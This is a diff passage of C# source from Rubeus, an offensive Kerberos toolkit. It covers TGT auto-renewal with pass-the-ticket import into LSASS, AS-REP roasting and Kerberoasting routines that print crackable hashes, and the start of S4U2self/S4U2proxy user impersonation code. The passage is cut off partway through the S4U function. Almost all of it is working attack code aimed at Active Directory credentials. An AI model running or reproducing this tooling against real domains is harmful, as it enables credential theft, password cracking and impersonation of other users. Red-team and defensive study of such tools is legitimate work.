byte[] lenBytes = BitConverter.GetBytes(data.Length);
|
||||||
|
Array.Reverse(lenBytes);
|
||||||
|
|
||||||
|
// build byte[req len + req bytes]
|
||||||
|
byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length];
|
||||||
|
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
|
||||||
|
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// connect to the srever over The specified port
|
||||||
|
socket.Connect(endPoint);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Error connecing to {0}:{1} : {2}", server, port, e.Message);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// actually send the bytes
|
||||||
|
int bytesSent = socket.Send(totalRequestBytes);
|
||||||
|
Console.WriteLine("[*] Sent {0} bytes", bytesSent);
|
||||||
|
|
||||||
|
byte[] responseBuffer = new byte[2500];
|
||||||
|
int bytesReceived = socket.Receive(responseBuffer);
|
||||||
|
Console.WriteLine("[*] Received {0} bytes", bytesReceived);
|
||||||
|
|
||||||
|
byte[] response = new byte[bytesReceived - 4];
|
||||||
|
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
|
||||||
|
|
||||||
|
socket.Close();
|
||||||
|
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,211 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using Asn1;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Renew
|
||||||
|
{
|
||||||
|
public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Action: Auto-Renew TGT");
|
||||||
|
|
||||||
|
KRB_CRED currentKirbi = kirbi;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
// extract out the info needed for the TGS-REQ/AP-REQ renewal
|
||||||
|
string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||||
|
string domain = currentKirbi.enc_part.ticket_info[0].prealm;
|
||||||
|
Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain);
|
||||||
|
|
||||||
|
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime);
|
||||||
|
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till);
|
||||||
|
Console.WriteLine("[*] endtime : {0}", endTime);
|
||||||
|
Console.WriteLine("[*] renew-till : {0}", renewTill);
|
||||||
|
|
||||||
|
if (endTime > renewTill)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
double ticks = (endTime - DateTime.Now).Ticks;
|
||||||
|
if (ticks < 0)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the window to sleep until the next endtime for the ticket, -30 minutes for a window
|
||||||
|
double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30;
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes);
|
||||||
|
System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain);
|
||||||
|
byte[] bytes = TGT(currentKirbi, false, domainController, true);
|
||||||
|
currentKirbi = new KRB_CRED(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] TGT(KRB_CRED kirbi, bool ptt = false, string domainController = "", bool display = true)
|
||||||
|
{
|
||||||
|
// extract out the info needed for the TGS-REQ/AP-REQ renewal
|
||||||
|
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||||
|
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||||
|
Ticket ticket = kirbi.tickets[0];
|
||||||
|
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||||
|
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||||
|
|
||||||
|
// request the new TGT renewal
|
||||||
|
return TGT(userName, domain, ticket, clientKey, etype, ptt, domainController, display);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
|
||||||
|
{
|
||||||
|
if (display)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Action: Renew TGT\r\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// grab the default DC if none was supplied
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
domainController = Networking.GetDCName();
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Net.IPAddress[] dcIP;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (display)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
|
||||||
|
Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
|
||||||
|
|
||||||
|
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
|
||||||
|
if(response == null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||||
|
|
||||||
|
// check the response value
|
||||||
|
int responseTag = responseAsn.TagValue;
|
||||||
|
|
||||||
|
if (responseTag == 13)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] TGT renewal request successful!");
|
||||||
|
|
||||||
|
// parse the response to an TGS-REP
|
||||||
|
TGS_REP rep = new TGS_REP(responseAsn);
|
||||||
|
|
||||||
|
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||||
|
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||||
|
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||||
|
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||||
|
|
||||||
|
// now build the final KRB-CRED structure
|
||||||
|
KRB_CRED cred = new KRB_CRED();
|
||||||
|
|
||||||
|
// add the ticket
|
||||||
|
cred.tickets.Add(rep.ticket);
|
||||||
|
|
||||||
|
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||||
|
|
||||||
|
KrbCredInfo info = new KrbCredInfo();
|
||||||
|
|
||||||
|
// [0] add in the session key
|
||||||
|
info.key.keytype = encRepPart.key.keytype;
|
||||||
|
info.key.keyvalue = encRepPart.key.keyvalue;
|
||||||
|
|
||||||
|
// [1] prealm (domain)
|
||||||
|
info.prealm = encRepPart.realm;
|
||||||
|
|
||||||
|
// [2] pname (user)
|
||||||
|
info.pname.name_type = rep.cname.name_type;
|
||||||
|
info.pname.name_string = rep.cname.name_string;
|
||||||
|
|
||||||
|
// [3] flags
|
||||||
|
info.flags = encRepPart.flags;
|
||||||
|
|
||||||
|
// [4] authtime (not required)
|
||||||
|
|
||||||
|
// [5] starttime
|
||||||
|
info.starttime = encRepPart.starttime;
|
||||||
|
|
||||||
|
// [6] endtime
|
||||||
|
info.endtime = encRepPart.endtime;
|
||||||
|
|
||||||
|
// [7] renew-till
|
||||||
|
info.renew_till = encRepPart.renew_till;
|
||||||
|
|
||||||
|
// [8] srealm
|
||||||
|
info.srealm = encRepPart.realm;
|
||||||
|
|
||||||
|
// [9] sname
|
||||||
|
info.sname.name_type = encRepPart.sname.name_type;
|
||||||
|
info.sname.name_string = encRepPart.sname.name_string;
|
||||||
|
|
||||||
|
// add the ticket_info into the cred object
|
||||||
|
cred.enc_part.ticket_info.Add(info);
|
||||||
|
|
||||||
|
byte[] kirbiBytes = cred.Encode().Encode();
|
||||||
|
|
||||||
|
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||||
|
|
||||||
|
if (display)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
|
||||||
|
|
||||||
|
// display the .kirbi base64, columns of 80 chararacters
|
||||||
|
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||||
|
{
|
||||||
|
Console.WriteLine(" {0}", line);
|
||||||
|
}
|
||||||
|
if (ptt)
|
||||||
|
{
|
||||||
|
// pass-the-ticket -> import into LSASS
|
||||||
|
LSA.ImportTicket(kirbiBytes);
|
||||||
|
}
|
||||||
|
return kirbiBytes;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return kirbiBytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (responseTag == 30)
|
||||||
|
{
|
||||||
|
// parse the response to an KRB-ERROR
|
||||||
|
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||||
|
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,347 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Security.Principal;
|
||||||
|
using System.DirectoryServices;
|
||||||
|
using System.DirectoryServices.AccountManagement;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Roast
|
||||||
|
{
|
||||||
|
public static void ASRepRoast(string userName, string domain, string domainController = "")
|
||||||
|
{
|
||||||
|
GetASRepHash(userName, domain, domainController);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void GetASRepHash(string userName, string domain, string domainController = "")
|
||||||
|
{
|
||||||
|
// roast AS-REPs for users without pre-authentication enabled
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Action: AS-REP Roasting");
|
||||||
|
|
||||||
|
// grab the default DC if none was supplied
|
||||||
|
if (String.IsNullOrEmpty(domainController)) {
|
||||||
|
domainController = Networking.GetDCName();
|
||||||
|
if(String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Error retrieving the current domain controller.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Net.IPAddress[] dcIP = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||||
|
}
|
||||||
|
catch (Exception e) {
|
||||||
|
Console.WriteLine("[X] Error retrieving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Console.WriteLine("\r\n[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
|
||||||
|
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);
|
||||||
|
|
||||||
|
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
|
||||||
|
if (response == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||||
|
|
||||||
|
// check the response value
|
||||||
|
int responseTag = responseAsn.TagValue;
|
||||||
|
|
||||||
|
if (responseTag == 11)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] AS-REQ w/o preauth successful!");
|
||||||
|
|
||||||
|
// parse the response to an AS-REP
|
||||||
|
AS_REP rep = new AS_REP(response);
|
||||||
|
|
||||||
|
// output the hash of the encrypted KERB-CRED in a crackable hash form
|
||||||
|
string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
|
||||||
|
string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] AS-REP hash:\r\n");
|
||||||
|
|
||||||
|
// display the base64 of a hash, columns of 80 chararacters
|
||||||
|
foreach (string line in Helpers.Split(hashString, 80))
|
||||||
|
{
|
||||||
|
Console.WriteLine(" {0}", line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (responseTag == 30)
|
||||||
|
{
|
||||||
|
// parse the response to an KRB-ERROR
|
||||||
|
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||||
|
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", System.Net.NetworkCredential cred = null)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Action: Kerberoasting");
|
||||||
|
|
||||||
|
if (!String.IsNullOrEmpty(spn))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[*] ServicePrincipalName : {0}", spn);
|
||||||
|
GetDomainSPNTicket(spn);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
DirectoryEntry directoryObject = null;
|
||||||
|
DirectorySearcher userSearcher = null;
|
||||||
|
string bindPath = "";
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (cred != null)
|
||||||
|
{
|
||||||
|
if (!String.IsNullOrEmpty(OUName))
|
||||||
|
{
|
||||||
|
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
|
||||||
|
bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
bindPath = String.Format("LDAP://{0}", cred.Domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (!String.IsNullOrEmpty(OUName))
|
||||||
|
{
|
||||||
|
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
|
||||||
|
bindPath = String.Format("LDAP://{0}", ouPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!String.IsNullOrEmpty(bindPath))
|
||||||
|
{
|
||||||
|
directoryObject = new DirectoryEntry(bindPath);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
directoryObject = new DirectoryEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cred != null)
|
||||||
|
{
|
||||||
|
// if we're using alternate credentials for the connection
|
||||||
|
string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
|
||||||
|
directoryObject.Username = userDomain;
|
||||||
|
directoryObject.Password = cred.Password;
|
||||||
|
|
||||||
|
using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
|
||||||
|
{
|
||||||
|
if (!pc.ValidateCredentials(cred.UserName, cred.Password))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
userSearcher = new DirectorySearcher(directoryObject);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// check to ensure that the bind worked correctly
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Guid guid = directoryObject.Guid;
|
||||||
|
}
|
||||||
|
catch (DirectoryServicesCOMException ex)
|
||||||
|
{
|
||||||
|
if (!String.IsNullOrEmpty(OUName))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (String.IsNullOrEmpty(userName))
|
||||||
|
{
|
||||||
|
userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SearchResultCollection users = userSearcher.FindAll();
|
||||||
|
|
||||||
|
foreach (SearchResult user in users)
|
||||||
|
{
|
||||||
|
string samAccountName = user.Properties["samAccountName"][0].ToString();
|
||||||
|
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
|
||||||
|
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
|
||||||
|
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
|
||||||
|
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
|
||||||
|
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
|
||||||
|
GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n [X] Error executing the domain searcher: {0}", ex.InnerException.Message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//else - search for user/OU/etc.
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void GetDomainSPNTicket(string spn, string userName = "user", string distinguishedName = "", System.Net.NetworkCredential cred = null)
|
||||||
|
{
|
||||||
|
string domain = "DOMAIN";
|
||||||
|
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn);
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName);
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName);
|
||||||
|
#endif
|
||||||
|
if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!");
|
||||||
|
#endif
|
||||||
|
// extract the domain name from the distinguishedname
|
||||||
|
Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
|
||||||
|
string domainDN = dnMatch.Groups["Domain"].ToString();
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN);
|
||||||
|
#endif
|
||||||
|
domain = domainDN.Replace("DC=", "").Replace(',', '.');
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn);
|
||||||
|
System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket;
|
||||||
|
if (cred != null)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null");
|
||||||
|
#endif
|
||||||
|
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn);
|
||||||
|
#endif
|
||||||
|
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn);
|
||||||
|
}
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful");
|
||||||
|
#endif
|
||||||
|
byte[] requestBytes = ticket.GetRequest();
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] requestBytes len: {0}", requestBytes.Length);
|
||||||
|
#endif
|
||||||
|
if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) )
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ignore the GSSAPI frame
|
||||||
|
byte[] apReqBytes = new byte[requestBytes.Length-17];
|
||||||
|
Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17);
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
AsnElt apRep = AsnElt.Decode(apReqBytes);
|
||||||
|
|
||||||
|
#if DEBUG
|
||||||
|
Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (apRep.TagValue != 14)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
long encType = 0;
|
||||||
|
|
||||||
|
foreach (AsnElt elem in apRep.Sub[0].Sub)
|
||||||
|
{
|
||||||
|
if (elem.TagValue == 0)
|
||||||
|
{
|
||||||
|
encType = elem.Sub[0].GetInteger();
|
||||||
|
}
|
||||||
|
else if (elem.TagValue == 3)
|
||||||
|
{
|
||||||
|
foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub)
|
||||||
|
{
|
||||||
|
if(elem2.TagValue == 3)
|
||||||
|
{
|
||||||
|
foreach (AsnElt elem3 in elem2.Sub[0].Sub)
|
||||||
|
{
|
||||||
|
if (elem3.TagValue == 2)
|
||||||
|
{
|
||||||
|
byte[] cipherTextBytes = elem3.Sub[0].GetOctetString();
|
||||||
|
string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", "");
|
||||||
|
|
||||||
|
string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));
|
||||||
|
|
||||||
|
bool header = false;
|
||||||
|
foreach (string line in Helpers.Split(hash, 80))
|
||||||
|
{
|
||||||
|
if (!header)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Hash : {0}", line);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine(" {0}", line);
|
||||||
|
}
|
||||||
|
header = true;
|
||||||
|
}
|
||||||
|
Console.WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,237 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using Asn1;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class S4U
|
||||||
|
{
|
||||||
|
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||||
|
{
|
||||||
|
// first retrieve a TGT for the user
|
||||||
|
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false);
|
||||||
|
Console.WriteLine();
|
||||||
|
|
||||||
|
if (kirbiBytes == null)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// transform the TGT bytes into a .kirbi file
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
|
||||||
|
// execute the s4u process
|
||||||
|
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
|
||||||
|
}
|
||||||
|
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Action: S4U\r\n");
|
||||||
|
|
||||||
|
// extract out the info needed for the TGS-REQ/S4U2Self execution
|
||||||
|
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||||
|
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||||
|
Ticket ticket = kirbi.tickets[0];
|
||||||
|
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||||
|
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||||
|
|
||||||
|
// grab the default DC if none was supplied
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
domainController = Networking.GetDCName();
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||||
|
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
|
||||||
|
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
|
||||||
|
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
|
||||||
|
if (!String.IsNullOrEmpty(altService))
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Sending S4U2self request");
|
||||||
|
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
|
||||||
|
if (response == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||||
|
|
||||||
|
// check the response value
|
||||||
|
int responseTag = responseAsn.TagValue;
|
||||||
|
|
||||||
|
if (responseTag == 13)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] S4U2self success!");
|
||||||
|
|
||||||
|
// parse the response to an TGS-REP
|
||||||
|
TGS_REP rep = new TGS_REP(responseAsn);
|
||||||
|
|
||||||
|
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||||
|
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||||
|
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||||
|
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||||
|
|
||||||
|
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
|
||||||
|
TGS_REQ s4u2proxyReq = new TGS_REQ();
|
||||||
|
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
|
||||||
|
s4u2proxyReq.padata.Add(padata);
|
||||||
|
|
||||||
|
